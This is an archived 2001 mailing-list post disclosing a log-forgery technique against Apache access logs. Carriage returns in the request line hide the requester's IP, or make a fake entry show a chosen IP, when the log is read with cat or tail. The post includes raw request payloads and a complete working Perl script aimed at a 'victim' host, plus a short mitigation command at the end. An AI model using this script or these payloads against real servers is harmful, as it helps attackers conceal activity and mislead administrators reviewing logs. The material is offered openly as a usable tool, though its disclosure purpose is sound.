Hidden requests to Apache

From: smiler (smilerat_private)
Date: Wed Oct 24 2001 - 13:09:59 PDT

  • Next message: Roman Drahtmueller: "Re: Advisory: Corrupt RPM Query Vulnerability"

    ----------Intro----------
    
    Hi all ! Thanx to warat_private and zavat_private for discussing this
    issue and helping on getting ideas about this issue with their imagination
    !! :)
    Don´t know if this has been brought before.
    It´s possible to "cheat" a Apache SysAdministrator and make him think that
    his server didn´t log a HTTP request or make him think that a request has
    been made by another Ip address.
    This "cheating" is only valid when the log is displayed on the screen using
    common unix utils as cat, tail, grep, etc...
    This will not work with the kind of sysadmin that edit the logs using vi or
    even print them to read at night on bed eh eh :-)
    I am not sure if this can be considered as a bug or as a feature (?) but in
    any case it will surely lead apache sysadmins into mistake !!
    
    ----------Technique----------
    
    To make a request and to make it seem like it came from NO IP ADDRESS at
    all, the request should be made as this :
    
    GET / HTTP/1.0 \r\r\n
    
    In this case APACHE will print in the log file the carriage return
    character. So when we try to tail the access_log file it will be shown in
    the screen as :
    
    " 414 3461.251 - - [24/Oct/2001:18:58:18 +0100] "GET / HTTP/1.0
    
    A normal line would be :
    
    127.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164
    
    The normal line output will help us to understand that what happens is cat
    made a carriage return after the HTTP/1.0 and printed the rest of the log
    over the Ip Address field.
    We can also make it look like the request came from another Ip address, and
    this is preferable because like this the SysAdmin will see no apparent
    strange behaviour in the logfile. Just be carefull with the timestamp !!
    So the request should be :
    
    GET / HTTP/1.0 \r10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET /
    HTTP/1.0\r\n
    
    And the logfile will appear like this :
    
    10.0.0.1 - - [24/Oct/2001:19:00:32 +0100] "GET / HTTP/1.0" 200 164
    
    This is a perfect log entry and nobody can suspect on it :-)
    
    ----------The Warez----------
    #!/usr/bin/perl
    #
    # smilerat_private warat_private zavat_private
    # \x18/\xa/\x07d1 ++351 Rulez
    #
    # This script will make a "hidden" request to a Apache Server when the log
    file is viewed using cat grep tail ...
    # The script sends a carriage return character after the HTTP/1.0 and then
    it makes a fake entry with the IP supplied in argv
    # and it inserts a time-stamp similar to the one that server is using
    currently, we get this by making a get request to the
    # server before our special *g* GET, though we can´t control the time zone
    of the server. So the time-zone may
    # vary. Tested in ALL apache versions.
    
    ############################################################################
    #######################################################
    # Thoughts : It would be better to send escape characters with move_forward
    codes after the \r and move over the real
    # server´s time stamp !! Anyone ? How do log analyzers deal with this stuff
    ? Anyone ?
    ############################################################################
    #######################################################
    
    use Socket;
    use strict;
    my $data_sacada;
    
    ######check argv
    if ($#ARGV != 3) {
    print qq~
    Geee it´s running !! kewl :)))
    Usage : ./apache_log.pl <VICTIM_HOST> <PORT> <FILE_TO_GET> <FAKE_IP>
    Example Usage : apache_log.pl victimsite.victimsite.biz 80 /index.html
    255.255.255.255
    ~; exit;}
    
    ######get the values
    my $host = $ARGV[0];
    my $port = $ARGV[1];
    my $target = inet_aton($host);
    my $file_to_get= $ARGV[2];
    my $fake_ip = $ARGV[3];
    get_time();
    
    ######prepare request
    my $envia="GET /$file_to_get HTTP/1.0 \r$fake_ip - - $data_sacada \"GET /
    HTTP/1.0\r\n\r\n";
    my @resultados=sendraw($envia);
    print  @resultados;
    
    ###### Sendraw - thanks RFP rfpat_private ######
    sub sendraw {   # this saves the whole transaction anyway
            my %args;
            my ($pstr)=@_;
            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                    die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,$port,$target)){
                    my @in;
                    select(S);      $|=1;   print $pstr;
                    while(<S>){ push @in, $_;
                            print STDOUT "." if(defined $args{X});}
                    select(STDOUT); close(S); return @in;
            } else { die("Can't connect...\n"); }
    }
    
    ###### Get the server time b4 sending the hidden request ######
    sub get_time    {
            my $req="GET / HTTP/1.0\n\n";
            my $data;
            my @res=sendraw($req);
            my $wday;
            my $day;
            my $mon;
            my $year;
            my $hour;
            my $tz;
            my $line;
            foreach $line (@res)    {
                    if ($line =~ /Date/)    {
                    $data = $line;
                    $data =~ s/Date: //g;
                    ($wday,$day,$mon,$year,$hour,$tz)=split(/ /,$data);
                    $data_sacada="[".$day."/".$mon."/".$year.":".$hour."
    +0000]";
                    }
            }
    }
    
    ----------Solution----------
    
    Use 'vi' to check your logs or cat your log using :
    
    perl -e 'open(FH,"access_log");while(<FH>){$_=~s/[\r|\b|\x27]//g;print $_}'
    



    This archive was generated by hypermail 2b30 : Wed Oct 24 2001 - 20:02:06 PDT